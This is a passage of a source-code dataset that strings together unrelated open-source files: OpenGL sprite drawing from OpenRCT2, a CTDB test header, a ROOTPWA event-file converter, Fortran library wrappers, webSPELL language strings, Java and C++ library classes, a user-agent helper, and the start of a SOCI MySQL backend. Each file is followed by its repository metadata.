palettes.z = TextureCache::PaletteToY(tertiaryColour & 0xFF);
}
}
else if ((image & IMAGE_TYPE_REMAP) || (image & IMAGE_TYPE_TRANSPARENT))
{
paletteCount = 1;
uint32_t palette = (image >> 19) & 0xFF;
palettes.x = TextureCache::PaletteToY(palette);
if (palette == PALETTE_WATER)
{
special = true;
}
}
else
{
paletteCount = 0;
}
if (special || (image & IMAGE_TYPE_TRANSPARENT))
{
DrawRectCommand& command = _commandBuffers.transparent.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = texture.index;
command.texColourBounds = texture.normalizedBounds;
command.texMaskAtlas = texture.index;
command.texMaskBounds = texture.normalizedBounds;
command.palettes = palettes;
command.colour = palettes.x - (special ? 1 : 0);
command.bounds = { left, top, right, bottom };
command.flags = special ? 0 : DrawRectCommand::FLAG_NO_TEXTURE | DrawRectCommand::FLAG_MASK;
command.depth = _drawCount++;
}
else
{
DrawRectCommand& command = _commandBuffers.rects.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = texture.index;
command.texColourBounds = texture.normalizedBounds;
command.texMaskAtlas = 0;
command.texMaskBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.palettes = palettes;
command.colour = 0;
command.bounds = { left, top, right, bottom };
command.flags = paletteCount;
command.depth = _drawCount++;
}
}
void OpenGLDrawingContext::DrawSpriteRawMasked(int32_t x, int32_t y, uint32_t maskImage, uint32_t colourImage)
{
auto g1ElementMask = gfx_get_g1_element(maskImage & 0x7FFFF);
auto g1ElementColour = gfx_get_g1_element(colourImage & 0x7FFFF);
if (g1ElementMask == nullptr || g1ElementColour == nullptr)
{
return;
}
const auto textureMask = _textureCache->GetOrLoadImageTexture(maskImage);
const auto textureColour = _textureCache->GetOrLoadImageTexture(colourImage);
uint8_t zoomLevel = (1 << _dpi->zoom_level);
int32_t drawOffsetX = g1ElementMask->x_offset;
int32_t drawOffsetY = g1ElementMask->y_offset;
int32_t drawWidth = std::min(g1ElementMask->width, g1ElementColour->width);
int32_t drawHeight = std::min(g1ElementMask->height, g1ElementColour->height);
int32_t left = x + drawOffsetX;
int32_t top = y + drawOffsetY;
int32_t right = left + drawWidth;
int32_t bottom = top + drawHeight;
if (left > right)
{
std::swap(left, right);
}
if (top > bottom)
{
std::swap(top, bottom);
}
left -= _dpi->x;
top -= _dpi->y;
right -= _dpi->x;
bottom -= _dpi->y;
left /= zoomLevel;
top /= zoomLevel;
right /= zoomLevel;
bottom /= zoomLevel;
left += _clipLeft;
top += _clipTop;
right += _clipLeft;
bottom += _clipTop;
DrawRectCommand& command = _commandBuffers.rects.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = textureColour.index;
command.texColourBounds = textureColour.normalizedBounds;
command.texMaskAtlas = textureMask.index;
command.texMaskBounds = textureMask.normalizedBounds;
command.palettes = { 0, 0, 0 };
command.flags = DrawRectCommand::FLAG_MASK;
command.colour = 0;
command.bounds = { left, top, right, bottom };
command.depth = _drawCount++;
}
void OpenGLDrawingContext::DrawSpriteSolid(uint32_t image, int32_t x, int32_t y, uint8_t colour)
{
assert((colour & 0xFF) > 0u);
int32_t g1Id = image & 0x7FFFF;
auto g1Element = gfx_get_g1_element(g1Id);
if (g1Element == nullptr)
{
return;
}
const auto texture = _textureCache->GetOrLoadImageTexture(image);
int32_t drawOffsetX = g1Element->x_offset;
int32_t drawOffsetY = g1Element->y_offset;
int32_t drawWidth = (uint16_t)g1Element->width;
int32_t drawHeight = (uint16_t)g1Element->height;
int32_t left = x + drawOffsetX;
int32_t top = y + drawOffsetY;
int32_t right = left + drawWidth;
int32_t bottom = top + drawHeight;
if (left > right)
{
std::swap(left, right);
}
if (top > bottom)
{
std::swap(top, bottom);
}
left += _offsetX;
top += _offsetY;
right += _offsetX;
bottom += _offsetY;
DrawRectCommand& command = _commandBuffers.rects.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = 0;
command.texColourBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.texMaskAtlas = texture.index;
command.texMaskBounds = texture.normalizedBounds;
command.palettes = { 0, 0, 0 };
command.flags = DrawRectCommand::FLAG_NO_TEXTURE | DrawRectCommand::FLAG_MASK;
command.colour = colour & 0xFF;
command.bounds = { left, top, right, bottom };
command.depth = _drawCount++;
}
void OpenGLDrawingContext::DrawGlyph(uint32_t image, int32_t x, int32_t y, uint8_t* palette)
{
auto g1Element = gfx_get_g1_element(image & 0x7FFFF);
if (g1Element == nullptr)
{
return;
}
const auto texture = _textureCache->GetOrLoadGlyphTexture(image, palette);
int32_t drawOffsetX = g1Element->x_offset;
int32_t drawOffsetY = g1Element->y_offset;
int32_t drawWidth = (uint16_t)g1Element->width;
int32_t drawHeight = (uint16_t)g1Element->height;
int32_t left = x + drawOffsetX;
int32_t top = y + drawOffsetY;
int32_t right = left + drawWidth;
int32_t bottom = top + drawHeight;
if (left > right)
{
std::swap(left, right);
}
if (top > bottom)
{
std::swap(top, bottom);
}
left += _offsetX;
top += _offsetY;
right += _offsetX;
bottom += _offsetY;
DrawRectCommand& command = _commandBuffers.rects.allocate();
command.clip = { _clipLeft, _clipTop, _clipRight, _clipBottom };
command.texColourAtlas = texture.index;
command.texColourBounds = texture.normalizedBounds;
command.texMaskAtlas = 0;
command.texMaskBounds = { 0.0f, 0.0f, 0.0f, 0.0f };
command.palettes = { 0, 0, 0 };
command.flags = 0;
command.colour = 0;
command.bounds = { left, top, right, bottom };
command.depth = _drawCount++;
}
void OpenGLDrawingContext::FlushCommandBuffers()
{
glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_LESS);
_swapFramebuffer->BindOpaque();
_drawRectShader->Use();
_drawRectShader->DisablePeeling();
FlushLines();
FlushRectangles();
HandleTransparency();
}
void OpenGLDrawingContext::FlushLines()
{
if (_commandBuffers.lines.empty())
return;
_drawLineShader->Use();
_drawLineShader->DrawInstances(_commandBuffers.lines);
_commandBuffers.lines.clear();
}
void OpenGLDrawingContext::FlushRectangles()
{
if (_commandBuffers.rects.empty())
return;
OpenGLAPI::SetTexture(0, GL_TEXTURE_2D_ARRAY, _textureCache->GetAtlasesTexture());
OpenGLAPI::SetTexture(1, GL_TEXTURE_RECTANGLE, _textureCache->GetPaletteTexture());
_drawRectShader->Use();
_drawRectShader->SetInstances(_commandBuffers.rects);
_drawRectShader->DrawInstances();
_commandBuffers.rects.clear();
}
void OpenGLDrawingContext::HandleTransparency()
{
if (_commandBuffers.transparent.empty())
{
return;
}
_drawRectShader->Use();
_drawRectShader->SetInstances(_commandBuffers.transparent);
int32_t max_depth = MaxTransparencyDepth(_commandBuffers.transparent);
for (int32_t i = 0; i < max_depth; ++i)
{
_swapFramebuffer->BindTransparent();
glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_GREATER);
_drawRectShader->Use();
if (i > 0)
{
_drawRectShader->EnablePeeling(_swapFramebuffer->GetBackDepthTexture());
}
OpenGLAPI::SetTexture(0, GL_TEXTURE_2D_ARRAY, _textureCache->GetAtlasesTexture());
OpenGLAPI::SetTexture(1, GL_TEXTURE_RECTANGLE, _textureCache->GetPaletteTexture());
_drawRectShader->Use();
_drawRectShader->DrawInstances();
_swapFramebuffer->ApplyTransparency(*_applyTransparencyShader, _textureCache->GetPaletteTexture());
}
_commandBuffers.transparent.clear();
}
void OpenGLDrawingContext::SetDPI(rct_drawpixelinfo* dpi)
{
rct_drawpixelinfo* screenDPI = _engine->GetDPI();
# ifndef NDEBUG
size_t bitsSize = (size_t)screenDPI->height * (size_t)(screenDPI->width + screenDPI->pitch);
# endif
size_t bitsOffset = (size_t)(dpi->bits - screenDPI->bits);
assert(bitsOffset < bitsSize);
_clipLeft = (int32_t)(bitsOffset % (screenDPI->width + screenDPI->pitch));
_clipTop = (int32_t)(bitsOffset / (screenDPI->width + screenDPI->pitch));
_clipRight = _clipLeft + (dpi->width >> dpi->zoom_level);
_clipBottom = _clipTop + (dpi->height >> dpi->zoom_level);
_offsetX = _clipLeft - dpi->x;
_offsetY = _clipTop - dpi->y;
_dpi = dpi;
}
#endif /* DISABLE_OPENGL */
|
SijmenSchoon/OpenRCT2
|
src/openrct2-ui/drawing/engines/opengl/OpenGLDrawingEngine.cpp
|
C++
|
gpl-3.0
| 29,656
|
/*
protocol tests - eventd protocol
Copyright (C) Amitay Isaacs 2017
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CTDB_PROTOCOL_COMMON_EVENT_H__
#define __CTDB_PROTOCOL_COMMON_EVENT_H__
#include "replace.h"
#include "system/network.h"
#include <talloc.h>
#include <tdb.h>
#include "protocol/protocol.h"
void fill_ctdb_event_request_run(TALLOC_CTX *mem_ctx,
struct ctdb_event_request_run *p);
void verify_ctdb_event_request_run(struct ctdb_event_request_run *p1,
struct ctdb_event_request_run *p2);
void fill_ctdb_event_request_status(TALLOC_CTX *mem_ctx,
struct ctdb_event_request_status *p);
void verify_ctdb_event_request_status(struct ctdb_event_request_status *p1,
struct ctdb_event_request_status *p2);
void fill_ctdb_event_request_script_enable(TALLOC_CTX *mem_ctx,
struct ctdb_event_request_script_enable *p);
void verify_ctdb_event_request_script_enable(
struct ctdb_event_request_script_enable *p1,
struct ctdb_event_request_script_enable *p2);
void fill_ctdb_event_request_script_disable(TALLOC_CTX *mem_ctx,
struct ctdb_event_request_script_disable *p);
void verify_ctdb_event_request_script_disable(
struct ctdb_event_request_script_disable *p1,
struct ctdb_event_request_script_disable *p2);
void fill_ctdb_event_reply_status(TALLOC_CTX *mem_ctx,
struct ctdb_event_reply_status *p);
void verify_ctdb_event_reply_status(struct ctdb_event_reply_status *p1,
struct ctdb_event_reply_status *p2);
void fill_ctdb_event_reply_script_list(TALLOC_CTX *mem_ctx,
struct ctdb_event_reply_script_list *p);
void verify_ctdb_event_reply_script_list(
struct ctdb_event_reply_script_list *p1,
struct ctdb_event_reply_script_list *p2);
void fill_ctdb_event_request_data(TALLOC_CTX *mem_ctx,
struct ctdb_event_request_data *r,
uint32_t command);
void verify_ctdb_event_request_data(struct ctdb_event_request_data *r,
struct ctdb_event_request_data *r2);
void fill_ctdb_event_reply_data(TALLOC_CTX *mem_ctx,
struct ctdb_event_reply_data *r,
uint32_t command);
void verify_ctdb_event_reply_data(struct ctdb_event_reply_data *r,
struct ctdb_event_reply_data *r2);
void fill_ctdb_event_request(TALLOC_CTX *mem_ctx,
struct ctdb_event_request *r, uint32_t command);
void verify_ctdb_event_request(struct ctdb_event_request *r,
struct ctdb_event_request *r2);
void fill_ctdb_event_reply(TALLOC_CTX *mem_ctx, struct ctdb_event_reply *r,
uint32_t command);
void verify_ctdb_event_reply(struct ctdb_event_reply *r,
struct ctdb_event_reply *r2);
#endif /* __CTDB_PROTOCOL_COMMON_EVENT_H__ */
|
sathieu/samba
|
ctdb/tests/src/protocol_common_event.h
|
C
|
gpl-3.0
| 3,261
|
#!/usr/bin/env python
import argparse
import os
import sys
import math
import pyRootPwa
import pyRootPwa.core
def writeParticleToFile (outFile, particleName, particleMomentum):
if pyRootPwa.core.particleDataTable.isInTable(particleName):
partProperties = pyRootPwa.core.particleDataTable.entry(particleName)
charge = partProperties.charge
energy = math.sqrt(particleMomentum.Px()**2 + particleMomentum.Py()**2 + particleMomentum.Pz()**2 + partProperties.mass2)
outFile.write(
str(pyRootPwa.core.particleDataTable.geantIdFromParticleName(particleName)) + " " +
str(charge) + " " +
'%.16e' % particleMomentum.Px() + " " +
'%.16e' % particleMomentum.Py() + " " +
'%.16e' % particleMomentum.Pz() + " " +
'%.16e' % energy + "\n"
)
return True
else:
pyRootPwa.utils.printErr("particle '" + particleName + "' not found in particleDataTable.")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Converts ROOTPWA .root file to .evt file."
)
parser.add_argument("inputFileName", help="The path to the RootPwa input file")
parser.add_argument("outputFileName", help="The path to the ASCII evt output file")
parser.add_argument("-p", "--particleDataTable", help="The path of particleDataTable file (default: '$ROOTPWA/particleData/particleDataTable.txt')",
default='$ROOTPWA/particleData/particleDataTable.txt')
args = parser.parse_args()
printWarn = pyRootPwa.utils.printWarn
printErr = pyRootPwa.utils.printErr
printSucc = pyRootPwa.utils.printSucc
ROOT = pyRootPwa.ROOT
pdtPath = os.path.expandvars(args.particleDataTable)
if not pyRootPwa.core.particleDataTable.instance.readFile(pdtPath):
printErr("error loading particleDataTable from '" + pdtPath + "'. Aborting...")
sys.exit(1)
inputFile = ROOT.TFile(args.inputFileName, "READ")
if not inputFile:
printErr("error opening input file. Aborting...")
sys.exit(1)
metaData = pyRootPwa.core.eventMetadata.readEventFile(inputFile)
if metaData == 0:
printErr("error reading metaData. Input file is not a RootPWA root file.")
prodKinPartNames = metaData.productionKinematicsParticleNames()
decayKinPartNames = metaData.decayKinematicsParticleNames()
tree = metaData.eventTree()
with open(args.outputFileName, 'w') as outputEvtFile:
particleCount = len(prodKinPartNames) + len(decayKinPartNames)
for event in tree:
prodKinMomenta = event.__getattr__(metaData.productionKinematicsMomentaBranchName)
decayKinMomenta = event.__getattr__(metaData.decayKinematicsMomentaBranchName)
if particleCount != (prodKinMomenta.GetEntries() + decayKinMomenta.GetEntries()):
printErr("particle count in metaData does not match particle count in event data.")
sys.exit(1)
outputEvtFile.write(str(particleCount) + '\n')
for particle in range(prodKinMomenta.GetEntries()):
if not writeParticleToFile(outputEvtFile, prodKinPartNames[particle], prodKinMomenta[particle]):
printErr("failed writing particle '" + particle + "' to output file.")
sys.exit(1)
for particle in range(decayKinMomenta.GetEntries()):
if not writeParticleToFile(outputEvtFile, decayKinPartNames[particle], decayKinMomenta[particle]):
printErr("failed writing particle '" + particle + "' to output file.")
sys.exit(1)
inputFile.Close()
printSucc("successfully converted '" + args.inputFileName + "' to '" + args.outputFileName + "'.")
|
legordian/ROOTPWA
|
pyInterface/scripts/convertTreeToEvt.py
|
Python
|
gpl-3.0
| 3,620
|
/*
* Copyright 2004, 2005 PathScale, Inc. All Rights Reserved.
*/
/*
Copyright (C) 1999-2001, Silicon Graphics, Inc. All Rights Reserved.
This program is free software; you can redistribute it and/or modify it
under the terms of version 2.1 of the GNU Lesser General Public License
as published by the Free Software Foundation.
This program is distributed in the hope that it would be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Further, any
license provided herein, whether implied or otherwise, is limited to
this program in accordance with the express provisions of the
GNU Lesser General Public License.
Patent licenses, if any, provided herein do not apply to combinations
of this program with other product or programs, or any other product
whatsoever. This program is distributed without any warranty that the
program is delivered free of the rightful claim of any third person by
way of infringement or the like.
See the GNU Lesser General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write the Free Software Foundation, Inc., 59
Temple Place - Suite 330, Boston MA 02111-1307, USA.
*/
/* --------------------------------------------------- */
/* | All Rights Reserved. | */
/* --------------------------------------------------- */
/* $Header: /proj/osprey/CVS/open64/osprey1.0/libU77/rename_.c,v 1.1.1.1 2005/10/21 19:00:00 marcel Exp $ */
/* $Header: /proj/osprey/CVS/open64/osprey1.0/libU77/rename_.c,v 1.1.1.1 2005/10/21 19:00:00 marcel Exp $ */
/*
char id_rename[] = "@(#)rename_.c 1.2";
*
* rename a file atomically
*
* synopsis:
* integer function rename (from, to)
* character*(*) from, to
*
* where:
* return value will be zero normally, an error number otherwise.
*/
#include <sys/types.h>
#include <stdio.h>
#if defined(BUILD_OS_DARWIN)
#include <stdlib.h>
#else /* defined(BUILD_OS_DARWIN) */
#include <malloc.h>
#endif /* defined(BUILD_OS_DARWIN) */
#include <sys/param.h>
#ifndef MAXPATHLEN
#define MAXPATHLEN 128
#endif
#include "cmplrs/f_errno.h"
#include "externals.h"
#ifdef KEY /* Bug 1683 */
#include "pathf90_libU_intrin.h"
pathf90_i4
pathf90_rename(char *from, char *to, pathf90_i4 *status, int frlen, int tolen)
{
char *frbuf, *tobuf;
pathf90_i4 junk;
status = (0 == status) ? (&junk) : status;
if (frlen <= 0 || tolen <= 0 || *from == ' ' || *to == ' ')
return ((*status = errno = F_ERARG));
if (!bufarg && !(bufarg=malloc(bufarglen=frlen+tolen+2)))
return(*status = (errno=F_ERSPACE));
else if (bufarglen <= frlen+tolen+1 && !(bufarg=realloc(bufarg,
bufarglen=frlen+tolen+2)))
return(*status = (errno=F_ERSPACE));
frbuf = bufarg;
tobuf = &bufarg[frlen+1];
g_char (from, frlen, frbuf);
g_char (to, tolen, tobuf);
if (rename (frbuf, tobuf) != 0)
return (*status = errno);
return (*status = 0);
}
#else
extern int
rename_ (char *from, char *to, int frlen, int tolen)
{
char *frbuf, *tobuf;
if (frlen <= 0 || tolen <= 0 || *from == ' ' || *to == ' ')
return ((errno = F_ERARG));
if (!bufarg && !(bufarg=malloc(bufarglen=frlen+tolen+2)))
return((errno=F_ERSPACE));
else if (bufarglen <= frlen+tolen+1 && !(bufarg=realloc(bufarg,
bufarglen=frlen+tolen+2)))
return((errno=F_ERSPACE));
frbuf = bufarg;
tobuf = &bufarg[frlen+1];
g_char (from, frlen, frbuf);
g_char (to, tolen, tobuf);
if (rename (frbuf, tobuf) != 0)
return (errno);
return (0);
}
#endif /* KEY Bug 1683 */
|
pumpkin83/OpenUH-OpenACC
|
osprey/libU77/rename_.c
|
C
|
gpl-3.0
| 3,620
|
<?php
/*
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Free Content / Management System #
# / #
# #
# #
# Copyright 2005-2010 by webspell.org #
# #
# visit webSPELL.org, webspell.info to get webSPELL for free #
# - Script runs under the GNU GENERAL PUBLIC LICENSE #
# - It's NOT allowed to remove this copyright-tag #
# -- http://www.fsf.org/licensing/licenses/gpl.html #
# #
# Code based on WebSPELL Clanpackage (Michael Gruber - webspell.at), #
# Far Development by Development Team - webspell.org #
# #
# visit webspell.org #
# #
##########################################################################
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Society / Edition #
# / #
# #
# modified by webspell|k3rmit (Stefan Giesecke) in 2009 #
# #
# - Modifications are released under the GNU GENERAL PUBLIC LICENSE #
# - It is NOT allowed to remove this copyright-tag #
# - http://www.fsf.org/licensing/licenses/gpl.html #
# #
##########################################################################
*/
$language_array = Array(
/* do not edit above this line */
'access_denied'=>'Access denied',
'actions'=>'Actions',
'add_squad'=>'Add institution',
'back'=>'back',
'current_icon'=>'Current picture',
'current_icon_small'=>'Current picture (small)',
'delete'=>'delete',
'edit'=>'edit',
'edit_squad'=>'edit institution',
'format_incorrect'=>'The format of the picture was not accepted. Please upload only pictures in *.gif, *.jpg or *.png format.',
'icon'=>'Picture',
'icon_upload'=>'Upload picture',
'icon_upload_info'=>'for the sc_squads box module',
'icon_upload_small'=>'Upload small picture',
'new_squad'=>'new institution',
'no_icon'=>'No picture available',
'really_delete'=>'Really delete this institution?',
'sort'=>'Sort',
'squad_info'=>'Institution Info',
'squad_name'=>'Institution Name',
'squads'=>'Institutions',
'transaction_invalid'=>'Transaction ID invalid',
'to_sort'=>'sort'
);
?>
|
Dwarfex/Hosting-Service
|
hosting_project/ws_versions/ws1/admin/languages/uk/squads.php
|
PHP
|
gpl-3.0
| 3,954
|
<?php
/*
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Free Content / Management System #
# / #
# #
# #
# Copyright 2005-2010 by webspell.org #
# #
# visit webSPELL.org, webspell.info to get webSPELL for free #
# - Script runs under the GNU GENERAL PUBLIC LICENSE #
# - It's NOT allowed to remove this copyright-tag #
# -- http://www.fsf.org/licensing/licenses/gpl.html #
# #
# Code based on WebSPELL Clanpackage (Michael Gruber - webspell.at), #
# Far Development by Development Team - webspell.org #
# #
# visit webspell.org #
# #
##########################################################################
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Society / Edition #
# / #
# #
# modified by webspell|k3rmit (Stefan Giesecke) in 2009 #
# #
# - Modifications are released under the GNU GENERAL PUBLIC LICENSE #
# - It is NOT allowed to remove this copyright-tag #
# - http://www.fsf.org/licensing/licenses/gpl.html #
# #
##########################################################################
*/
$language_array = Array(
/* do not edit above this line */
'checkbox'=>'Checkbox',
'delete'=>'delete',
'description'=>'Text',
'edit'=>'edit',
'new'=>'New registerfield',
'language'=>'Language',
'missing_entry'=>'No text entered.',
'really_delete_registerfield'=>'Do you really want to delete this register field? This will also delete any data which was saved so far in a register fields of this type.',
'register_fields'=>'Events: Registerfields',
'save'=>'Save',
'text'=>'Single textline',
'textarea'=>'Textfield',
'transaction_invalid'=>'Transaction ID invalid',
'type'=>'Type'
);
?>
|
Dwarfex/Hosting-Service
|
hosting_project/ws_versions/ws1/admin/languages/uk/registerfields.php
|
PHP
|
gpl-3.0
| 3,622
|
/**
* Copyright (C) 2010-2016 Structr GmbH
*
* This file is part of Structr <http://structr.org>.
*
* Structr is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* Structr is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Structr. If not, see <http://www.gnu.org/licenses/>.
*/
package org.structr.core.property;
import org.structr.api.search.SortType;
import org.structr.common.SecurityContext;
import org.structr.core.GraphObject;
import org.structr.core.app.StructrApp;
import org.structr.core.converter.CypherQueryConverter;
import org.structr.core.converter.PropertyConverter;
import org.structr.core.cypher.CypherQueryHandler;
/**
* A property that executes the given {@link CypherQueryHandler} when evaluated
* and returns the results of the query.
*
*
*/
public class CypherProperty<T> extends AbstractPrimitiveProperty<T> {
private CypherQueryHandler handler = null;
public CypherProperty(final String name, final CypherQueryHandler handler) {
super(name);
this.handler = handler;
// make us known to the entity context
StructrApp.getConfiguration().registerConvertedProperty(this);
}
@Override
public String typeName() {
return ""; // read-only
}
@Override
public Class valueType() {
return null;
}
@Override
public SortType getSortType() {
return SortType.Default;
}
@Override
public PropertyConverter<T, ?> databaseConverter(final SecurityContext securityContext) {
return databaseConverter(securityContext, null);
}
@Override
public PropertyConverter<T, ?> databaseConverter(final SecurityContext securityContext, final GraphObject entity) {
return new CypherQueryConverter(securityContext, entity, handler);
}
@Override
public PropertyConverter<?, T> inputConverter(final SecurityContext securityContext) {
return null;
}
@Override
public Object fixDatabaseProperty(final Object value) {
return null;
}
}
|
joansmith/structr
|
structr-core/src/main/java/org/structr/core/property/CypherProperty.java
|
Java
|
gpl-3.0
| 2,345
|
/*
---------------------------------------------------------------------
The template library textwolf implements an input iterator on
a set of XML path expressions without backward references on an
STL conforming input iterator as source. It does no buffering
or read ahead and is dedicated for stream processing of XML
for a small set of XML queries.
Stream processing in this context refers to processing the
document without buffering anything but the current result token
processed with its tag hierarchy information.
Copyright (C) 2010,2011,2012,2013,2014 Patrick Frey
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 3.0 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
--------------------------------------------------------------------
The latest version of textwolf can be found at 'http://github.com/patrickfrey/textwolf'
For documentation see 'http://patrickfrey.github.com/textwolf'
--------------------------------------------------------------------
*/
#ifndef __TEXTWOLF_TRAITS_HPP__
#define __TEXTWOLF_TRAITS_HPP__
/// \file textwolf/traits.hpp
/// \brief Type traits
namespace textwolf {
namespace traits {
/// \class TypeCheck
/// \brief Test structure to stear the compiler
class TypeCheck
{
public:
struct YES {};
struct NO {};
template<typename T, typename U>
struct is_same
{
static const NO type() {return NO();}
};
template<typename T>
struct is_same<T,T>
{
static const YES type() {return YES();}
};
};
}}//namespace
#endif
|
andreasbaumann/crawler
|
textwolf/include/textwolf/traits.hpp
|
C++
|
gpl-3.0
| 2,162
|
#-*- coding: utf-8 -*-
'''
Created on 24 дек. 20%0
@author: ivan
'''
import random
all_agents = """
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3
Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)
Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
"""
def get_ranmom_agent():
agents = None
for i in xrange(10):
agents = all_agents.replace(str(i), str(random.randint(0, 10)))
return agents.splitlines()[random.randint(1, 10)]
|
sitexa/foobnix
|
foobnix/util/agent.py
|
Python
|
gpl-3.0
| 1,349
|
//
// Copyright (C) 2004-2006 Maciej Sobczak, Stephen Hutton
// MySQL backend copyright (C) 2006 Pawel Aleksander Fedorynski
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
#define SOCI_MYSQL_SOURCE
#include "soci-mysql.h"
#include <cctype>
#include <ciso646>
//#include <iostream>
#ifdef _MSC_VER
#pragma warning(disable:4355)
#endif
using namespace soci;
using namespace soci::details;
using std::string;
mysql_statement_backend::mysql_statement_backend(
mysql_session_backend &session)
: session_(session), result_(NULL),
rowsAffectedBulk_(-1LL), justDescribed_(false),
hasIntoElements_(false), hasVectorIntoElements_(false),
hasUseElements_(false), hasVectorUseElements_(false)
{
}
void mysql_statement_backend::alloc()
{
// nothing to do here.
}
void mysql_statement_backend::clean_up()
{
// 'reset' the value for a
// potential new execution.
rowsAffectedBulk_ = -1;
if (result_ != NULL)
{
mysql_free_result(result_);
result_ = NULL;
}
}
void mysql_statement_backend::prepare(std::string const & query,
statement_type /* eType */)
{
queryChunks_.clear();
enum { eNormal, eInQuotes, eInName } state = eNormal;
std::string name;
queryChunks_.push_back("");
for (std::string::const_iterator it = query.begin(), end = query.end();
it != end; ++it)
{
switch (state)
{
case eNormal:
if (*it == '\'')
{
queryChunks_.back() += *it;
state = eInQuotes;
}
else if (*it == ':')
{
state = eInName;
}
else // regular character, stay in the same state
{
queryChunks_.back() += *it;
}
break;
case eInQuotes:
if (*it == '\'')
{
queryChunks_.back() += *it;
state = eNormal;
}
else // regular quoted character
{
queryChunks_.back() += *it;
}
break;
case eInName:
if (std::isalnum(*it) || *it == '_')
{
name += *it;
}
else // end of name
{
names_.push_back(name);
name.clear();
queryChunks_.push_back("");
queryChunks_.back() += *it;
state = eNormal;
}
break;
}
}
if (state == eInName)
{
names_.push_back(name);
}
/*
cerr << "Chunks: ";
for (std::vector<std::string>::iterator i = queryChunks_.begin();
i != queryChunks_.end(); ++i)
{
cerr << "\"" << *i << "\" ";
}
cerr << "\nNames: ";
for (std::vector<std::string>::iterator i = names_.begin();
i != names_.end(); ++i)
{
cerr << "\"" << *i << "\" ";
}
cerr << endl;
*/
}
statement_backend::exec_fetch_result
mysql_statement_backend::execute(int number)
{
if (justDescribed_ == false)
{
clean_up();
if (number > 1 && hasIntoElements_)
{
throw soci_error(
"Bulk use with single into elements is not supported.");
}
// number - size of vectors (into/use)
// numberOfExecutions - number of loops to perform
int numberOfExecutions = 1;
if (number > 0)
{
numberOfExecutions = hasUseElements_ ? 1 : number;
}
std::string query;
if (not useByPosBuffers_.empty() or not useByNameBuffers_.empty())
{
if (not useByPosBuffers_.empty() and not useByNameBuffers_.empty())
{
throw soci_error(
"Binding for use elements must be either by position "
"or by name.");
}
long long rowsAffectedBulkTemp = 0;
